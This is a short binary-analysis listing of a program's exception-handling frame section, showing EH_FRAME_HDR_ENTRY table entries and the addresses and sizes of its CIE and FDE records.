    00408660
    00408660 struct EH_FRAME_HDR_ENTRY
    00408660 initial_loc uint32 0x407640
    00408664 fde uint32 0x408e88
    00408668
    00408668 struct EH_FRAME_HDR_ENTRY
    00408668 initial_loc uint32 0x4076d4
    0040866c fde uint32 0x408ea8
    00408670
    00408670 struct EH_FRAME_HDR_ENTRY
    00408670 initial_loc uint32 0x4077ac
    00408674 fde uint32 0x408ec0
    00408678
    00408678 struct EH_FRAME_HDR_ENTRY
    00408678 initial_loc uint32 0x407a24
    0040867c fde uint32 0x408ed8
    00408680
    00408680 struct EH_FRAME_HDR_ENTRY
    00408680 initial_loc uint32 0x407b70
    00408684 fde uint32 0x408ef8
    00408688
    00408688 Kind=EhFrameCIE Name= VA=0x408688 Size=20
    0040869c
    0040869c Kind=EhFrameFDE Name= VA=0x40869c Size=20
    004086b0
    004086b0 Kind=EhFrameFDE Name= VA=0x4086b0 Size=20
    004086c4
    004086c4 Kind=EhFrameFDE Name= VA=0x4086c4 Size=20
    004086d8
    004086d8 Kind=EhFrameFDE Name= VA=0x4086d8 Size=36
    004086fc
    004086fc Kind=EhFrameFDE Name= VA=0x4086fc Size=20
    00408710
    00408710 Kind=EhFrameFDE Name= VA=0x408710 Size=32
    00408730
    00408730 Kind=EhFrameFDE Name= VA=0x408730 Size=24